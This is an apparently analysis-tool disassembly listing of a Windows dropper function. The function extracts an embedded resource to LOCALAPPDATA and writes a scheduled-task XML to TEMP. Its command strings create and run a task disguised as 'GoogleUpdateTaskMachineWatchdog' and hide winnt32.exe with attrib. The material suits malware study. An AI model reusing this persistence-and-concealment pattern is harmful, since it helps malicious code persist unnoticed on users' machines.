Function at 0x14000cf80
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x450]
sub rsp, 0x550
mov rax, qword [0x140051060]
xor rax, rsp
mov qword [rbp + 0x440], rax
mov rdi, rdx
mov ebx, ecx
xor r13d, r13d
mov dword [rsp + 0x60], r13d
xor edx, edx
mov r8d, 0xc8
lea rcx, [rbp + 0x160]
call fcn.140018690
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x78], r13
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], r13b
lea r8d, [r13 + 3]
lea rdx, [0x140048a2c]
lea rcx, [rsp + 0x68]
call fcn.140010c70
nop
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], r13b
lea r8d, [r13 + 0x1b]
lea rdx, str.Command_description_message
lea rcx, [rsp + 0x40]
call fcn.140010c70
nop
lea rax, vtable.TCLAP::CmdLine.0
mov qword [rbp + 0x160], rax
mov qword [rbp + 0x168], r13
mov qword [rbp + 0x170], r13
lea ecx, [r13 + 0x18]
call fcn.140016360
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rbp + 0x168], rax
mov qword [rbp + 0x178], r13
mov qword [rbp + 0x188], r13
mov qword [rbp + 0x190], 0xf
mov byte [rbp + 0x178], r13b
lea r8d, [r13 + 0xb]
lea rdx, str.not_set_yet
lea rcx, [rbp + 0x178]
call fcn.140010c70
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x198]
call fcn.14000fe80
nop
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x1b8]
call fcn.14000fe80
nop
mov dword [rbp + 0x1d8], r13d
mov byte [rbp + 0x1dc], 0x20
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x1e0], xmm0
mov qword [rbp + 0x1f0], r13
mov qword [rbp + 0x1f8], r13
mov qword [rbp + 0x200], r13
lea ecx, [r13 + 0x18]
call fcn.140016360
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rbp + 0x1f8], rax
mov qword [rbp + 0x208], r13
mov qword [rbp + 0x210], r13
lea ecx, [r13 + 0x18]
call fcn.140016360
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rbp + 0x208], rax
mov qword [rbp + 0x218], r13
mov dword [rbp + 0x220], 0x10001
lea rcx, [rbp + 0x160]
call fcn.140008320
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14000d189
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d183
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000e0c2
call fcn.1400160f0
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x14000d1c5
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d1c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000e0c8
call fcn.1400160f0
xor edx, edx
mov r8d, 0xb0
lea rcx, [rbp + 0x390]
call fcn.140018690
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x68], r13
mov qword [rbp - 0x60], 0xf
mov byte [rbp - 0x78], 0
mov r8d, 8
lea rdx, str.HuongTra
lea rcx, [rbp - 0x78]
call fcn.140010c70
nop
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
mov r14d, 2
mov r8d, r14d
lea rdx, [0x140048a5c]
lea rcx, [rsp + 0x40]
call fcn.140010c70
nop
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x78], r13
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], 0
xor r8d, r8d
lea rdx, [0x14004846b]
lea rcx, [rsp + 0x68]
call fcn.140010c70
nop
mov qword [rsp + 0x30], r13
lea r9, [rbp - 0x78]
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x390]
call fcn.140003970
nop
lea rsi, vtable.TCLAP::SwitchArg.0
mov qword [rbp + 0x390], rsi
mov word [rbp + 0x438], 0
mov rax, qword [rbp + 0x160]
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0x160]
call qword [rax + 8]
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x14000d2f0
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d2ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000e0ce
call fcn.1400160f0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14000d32e
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d328
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000e0d4
call fcn.1400160f0
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x14000d369
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d364
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000e0da
call fcn.1400160f0
xor edx, edx
mov r8d, 0xb0
lea rcx, [rbp + 0x2e0]
call fcn.140018690
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
mov r8d, 0xa
lea rdx, str.DangHuyTru
lea rcx, [rsp + 0x40]
call fcn.140010c70
nop
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x78], r13
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], 0
mov r8d, 3
lea rdx, [0x140048a6c]
lea rcx, [rsp + 0x68]
call fcn.140010c70
nop
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x68], r13
mov qword [rbp - 0x60], 0xf
mov byte [rbp - 0x78], 0
xor r8d, r8d
lea rdx, [0x14004846b]
lea rcx, [rbp - 0x78]
call fcn.140010c70
nop
mov qword [rsp + 0x30], r13
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x68]
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x2e0]
call fcn.140003970
nop
mov qword [rbp + 0x2e0], rsi
mov word [rbp + 0x388], 0
mov rax, qword [rbp + 0x160]
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x160]
call qword [rax + 8]
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x14000d489
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d483
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000e0e0
call fcn.1400160f0
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x14000d4c6
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d4c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000e0e6
call fcn.1400160f0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14000d503
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d4fe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000e0ec
call fcn.1400160f0
xor edx, edx
mov r8d, 0xb0
lea rcx, [rbp + 0x230]
call fcn.140018690
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
mov r8d, 0xf
lea rdx, str.Virtual_Machine
lea rcx, [rsp + 0x40]
call fcn.140010c70
nop
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x78], r13
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], 0
mov r8, r14
lea rdx, [0x140048a80]
lea rcx, [rsp + 0x68]
call fcn.140010c70
nop
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x68], r13
mov qword [rbp - 0x60], 0xf
mov byte [rbp - 0x78], 0
xor r8d, r8d
lea rdx, [0x14004846b]
lea rcx, [rbp - 0x78]
call fcn.140010c70
nop
mov qword [rsp + 0x30], r13
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x68]
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x230]
call fcn.140003970
nop
mov qword [rbp + 0x230], rsi
mov word [rbp + 0x2d8], 0
mov rax, qword [rbp + 0x160]
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0x160]
call qword [rax + 8]
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x14000d620
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d61a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000e0f2
call fcn.1400160f0
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x14000d65d
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d657
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000e0f8
call fcn.1400160f0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14000d69a
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d695
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000e0bc
call fcn.1400160f0
mov r8, rdi
mov edx, ebx
lea rcx, [rbp + 0x160]
call fcn.140008dd0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r12, rax
lea rcx, str.LOCALAPPDATA
call fcn.14001fff8
mov qword [rbp + 0x120], r13
mov qword [rbp + 0x130], r13
mov qword [rbp + 0x138], 0xf
mov byte [rbp + 0x120], 0
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000d6f0
mov rdx, rax
lea rcx, [rbp + 0x120]
call fcn.140010c70
nop
lea rax, [rbp + 0xe0]
mov qword [rbp - 0x58], rax
mov rsi, qword [rbp + 0x130]
lea r14, [rbp + 0x120]
cmp qword [rbp + 0x138], 0x10
cmovae r14, qword [rbp + 0x120]
call fcn.14001495c
mov r15d, eax
mov qword [rbp + 0xe0], r13
mov qword [rbp + 0xf0], r13
mov qword [rbp + 0xf8], 7
mov word [rbp + 0xe0], r13w
mov dword [rsp + 0x60], 4
test rsi, rsi
je 0x14000d7e1
cmp rsi, 0x7fffffff
ja 0x14000e0fe
mov dword [rsp + 0x20], r13d
xor r9d, r9d
mov r8d, esi
mov rdx, r14
mov ecx, eax
call fcn.140014984
mov rbx, rax
shr rax, 0x20
test eax, eax
jne 0x14000e104
xor r8d, r8d
movsxd rdx, ebx
lea rcx, [rbp + 0xe0]
call fcn.14000fb40
lea r9, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 8
cmovae r9, qword [rbp + 0xe0]
mov dword [rsp + 0x20], ebx
mov r8d, esi
mov rdx, r14
mov ecx, r15d
call fcn.140014984
shr rax, 0x20
test eax, eax
jne 0x14000e10c
lea rax, [rsp + 0x40]
mov qword [rbp - 0x58], rax
call fcn.14001495c
mov esi, eax
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], r13w
mov dword [rsp + 0x60], 0x23
mov dword [rsp + 0x20], r13d
xor r9d, r9d
lea r8d, [r9 + 0xb]
lea rdx, [0x140048a98]
mov ecx, eax
call fcn.140014984
mov rbx, rax
shr rax, 0x20
test eax, eax
jne 0x14000e114
xor r8d, r8d
movsxd rdx, ebx
lea rcx, [rsp + 0x40]
call fcn.14000fb40
lea r9, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae r9, qword [rsp + 0x40]
mov dword [rsp + 0x20], ebx
mov r8d, 0xb
lea rdx, [0x140048a98]
mov ecx, esi
call fcn.140014984
shr rax, 0x20
test eax, eax
jne 0x14000e11c
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xe0]
call fcn.1400022e0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x14000d8d4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d8cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000e124
call fcn.1400160f0
cmp byte [rbp + 0x438], 0
je 0x14000d8e4
mov edx, 0x68
jmp 0x14000d908
cmp byte [rbp + 0x388], 0
je 0x14000d8f4
mov edx, 0x67
jmp 0x14000d908
mov edx, 0x66
mov eax, 0x69
cmp byte [rbp + 0x2d8], 0
cmovne edx, eax
lea rsi, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 8
cmovae rsi, qword [rbp + 0xe0]
mov r8d, 0xca
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
je 0x14000daab
mov rdx, rax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x14000daab
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r14, rax
mov rdx, rbx
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x50]
call fcn.140018690
mov rdx, rsi
lea rcx, [rbp - 0x50]
call fcn.14000ee00
nop
mov rcx, qword [rbp - 0x50]
movsxd rdx, dword [rcx + 4]
test byte [rbp + rdx - 0x40], 6
je 0x14000d9fa
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rdx - 0x50], rax
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x54], edx
lea rcx, [rbp - 0x48]
call fcn.14000ed50
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x50], rax
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx - 0x54], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x58], rax
lea rcx, [rbp + 0x58]
call fcn.14001555c
nop
jmp 0x14000daab
mov r8, rbx
mov rdx, r14
lea rcx, [rbp - 0x50]
call fcn.14000f980
lea rcx, [rbp - 0x48]
call fcn.1400104b0
test rax, rax
jne 0x14000da44
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x50]
add rcx, rax
mov edx, 6
cmp qword [rcx + 0x48], 0
mov eax, 2
cmovne edx, eax
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.140002060
nop
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x50], rax
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x54], edx
lea rcx, [rbp - 0x48]
call fcn.14000ed50
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x50], rax
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx - 0x54], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x58], rax
lea rcx, [rbp + 0x58]
call fcn.14001555c
nop
lea rcx, str.TEMP
call fcn.14001fff8
mov qword [rbp + 0x100], r13
mov qword [rbp + 0x110], r13
mov qword [rbp + 0x118], 0xf
mov byte [rbp + 0x100], 0
inc rdi
cmp byte [rax + rdi], 0
jne 0x14000dad7
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x100]
call fcn.140010c70
nop
lea rax, [rbp + 0xc0]
mov qword [rbp - 0x58], rax
mov rdi, qword [rbp + 0x110]
lea rsi, [rbp + 0x100]
cmp qword [rbp + 0x118], 0x10
cmovae rsi, qword [rbp + 0x100]
call fcn.14001495c
mov r14d, eax
mov qword [rbp + 0xc0], r13
mov qword [rbp + 0xd0], r13
mov qword [rbp + 0xd8], 7
mov word [rbp + 0xc0], r13w
mov dword [rsp + 0x60], 0x11b
test rdi, rdi
je 0x14000dbca
cmp rdi, 0x7fffffff
ja 0x14000e12a
mov dword [rsp + 0x20], r13d
xor r9d, r9d
mov r8d, edi
mov rdx, rsi
mov ecx, eax
call fcn.140014984
mov rbx, rax
shr rax, 0x20
test eax, eax
jne 0x14000e130
xor r8d, r8d
movsxd rdx, ebx
lea rcx, [rbp + 0xc0]
call fcn.14000fb40
lea r9, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 8
cmovae r9, qword [rbp + 0xc0]
mov dword [rsp + 0x20], ebx
mov r8d, edi
mov rdx, rsi
mov ecx, r14d
call fcn.140014984
shr rax, 0x20
test eax, eax
jne 0x14000e138
lea rax, [rsp + 0x40]
mov qword [rbp - 0x58], rax
call fcn.14001495c
mov edi, eax
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], r13w
mov dword [rsp + 0x60], 0x8db
mov dword [rsp + 0x20], r13d
xor r9d, r9d
lea r8d, [r9 + 0xc]
lea rdx, str.schtasks.xml
mov ecx, eax
call fcn.140014984
mov rbx, rax
shr rax, 0x20
test eax, eax
jne 0x14000e140
xor r8d, r8d
movsxd rdx, ebx
lea rcx, [rsp + 0x40]
call fcn.14000fb40
lea r9, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae r9, qword [rsp + 0x40]
mov dword [rsp + 0x20], ebx
mov r8d, 0xc
lea rdx, str.schtasks.xml
mov ecx, edi
call fcn.140014984
shr rax, 0x20
test eax, eax
jne 0x14000e148
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xc0]
call fcn.1400022e0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x14000dcbd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000dcb8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000e150
call fcn.1400160f0
lea r14, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 8
cmovae r14, qword [rbp + 0xc0]
lea rsi, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 8
cmovae rsi, qword [rbp + 0xe0]
mov rdi, qword [rbp + 0xf0]
call fcn.14001495c
mov r15d, eax
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x50], r13
mov ecx, 0xf
mov qword [rsp + 0x58], rcx
mov byte [rsp + 0x40], 0
mov dword [rsp + 0x60], 0x86db
test rdi, rdi
je 0x14000dd95
cmp rdi, 0x7fffffff
ja 0x14000e156
mov dword [rsp + 0x20], r13d
xor r9d, r9d
mov r8d, edi
mov rdx, rsi
mov ecx, eax
call fcn.1400149cc
mov rbx, rax
shr rax, 0x20
test eax, eax
jne 0x14000e15c
movsxd rdx, ebx
xor r8d, r8d
lea rcx, [rsp + 0x40]
call fcn.14000fc30
lea r9, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae r9, qword [rsp + 0x40]
mov dword [rsp + 0x20], ebx
mov r8d, edi
mov rdx, rsi
mov ecx, r15d
call fcn.1400149cc
shr rax, 0x20
test eax, eax
jne 0x14000e164
mov rcx, qword [rsp + 0x58]
lea rdx, [rsp + 0x40]
cmp rcx, 0x10
cmovae rdx, qword [rsp + 0x40]
mov r8, r14
mov rcx, r12
call fcn.14000cae0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14000dded
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000dde8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000e16c
call fcn.1400160f0
mov qword [rbp + 0x140], r13
mov qword [rbp + 0x150], r13
mov qword [rbp + 0x158], 0xf
mov byte [rbp + 0x140], 0
mov r8d, 7
lea rdx, str.cmd__c
lea rcx, [rbp + 0x140]
call fcn.140010c70
nop
mov r8d, 0x86
lea rdx, str.schtasks__Create__XML__tmp__schtasks.xml__TN_GoogleUpdateTaskMachineWatchdog__F__schtasks__Run__TN_GoogleUpdateTaskMachineWatchdog_
lea rcx, [rbp + 0x140]
call fcn.140010dd0
mov r8d, 0x27
lea rdx, str.attrib_s_h__localappdata_winnt32.exe
lea rcx, [rbp + 0x140]
call fcn.140010dd0
lea rcx, [rbp + 0x140]
call fcn.14000c860
lea rcx, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 8
cmovae rcx, qword [rbp + 0xc0]
call fcn.140014c14
shr rax, 0x20
test eax, eax
jne 0x14000e172
mov rdx, qword [rbp + 0x158]
cmp rdx, 0x10
jb 0x14000dece
inc rdx
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000dec9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000e181
call fcn.1400160f0
mov qword [rbp + 0x150], r13
mov qword [rbp + 0x158], 0xf
mov byte [rbp + 0x140], 0
mov rdx, qword [rbp + 0xd8]
cmp rdx, 8
jb 0x14000df2d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000df28
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000e187
call fcn.1400160f0
movdqa xmm0, xmmword [0x1400491c0]
movdqu xmmword [rbp + 0xd0], xmm0
mov word [rbp + 0xc0], r13w
mov rdx, qword [rbp + 0x118]
cmp rdx, 0x10
jb 0x14000df86
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000df81
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000e18d
call fcn.1400160f0
mov qword [rbp + 0x110], r13
mov qword [rbp + 0x118], 0xf
mov byte [rbp + 0x100], 0
mov rdx, qword [rbp + 0xf8]
cmp rdx, 8
jb 0x14000dfe5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000dfe0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000e193
call fcn.1400160f0
movdqa xmm0, xmmword [0x1400491c0]
movdqu xmmword [rbp + 0xf0], xmm0
mov word [rbp + 0xe0], r13w
mov rdx, qword [rbp + 0x138]
cmp rdx, 0x10
jb 0x14000e03e
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e039
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000e0bc
call fcn.1400160f0
mov qword [rbp + 0x130], r13
mov qword [rbp + 0x138], 0xf
mov byte [rbp + 0x120], 0
lea rcx, [rbp + 0x230]
call fcn.140004380
nop
lea rcx, [rbp + 0x2e0]
call fcn.140004380
nop
lea rcx, [rbp + 0x390]
call fcn.140004380
nop
lea rcx, [rbp + 0x160]
call fcn.140008030
xor eax, eax
mov rcx, qword [rbp + 0x440]
xor rcx, rsp
call fcn.1400160d0
lea r11, [rsp + 0x550]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14001fe94
nop
call fcn.14001fe94
nop
call fcn.14001fe94
nop
call fcn.14001fe94
nop
call fcn.14001fe94
nop
call fcn.14001fe94
nop
call fcn.14001fe94
nop
call fcn.14001fe94
nop
call fcn.14001fe94
nop
call fcn.14001fe94
nop
call fcn.14001fe94
nop
call fcn.140001810
int3
mov ecx, eax
call fcn.1400021b0
int3
mov ecx, eax
call fcn.1400021b0
nop
mov ecx, eax
call fcn.1400021b0
int3
mov ecx, eax
call fcn.1400021b0
nop
call fcn.14001fe94
nop
call fcn.140001810
int3
mov ecx, eax
call fcn.1400021b0
int3
mov ecx, eax
call fcn.1400021b0
nop
mov ecx, eax
call fcn.1400021b0
int3
mov ecx, eax
call fcn.1400021b0
nop
call fcn.14001fe94
nop
call fcn.140001810
int3
mov ecx, eax
call fcn.1400021b0
int3
mov ecx, eax
call fcn.1400021b0
nop
call fcn.14001fe94
nop
lea r8, [rbp + 0xc0]
mov edx, eax
call fcn.140002dc0
nop
call fcn.14001fe94
nop
call fcn.14001fe94
nop
call fcn.14001fe94
nop
call fcn.14001fe94
int3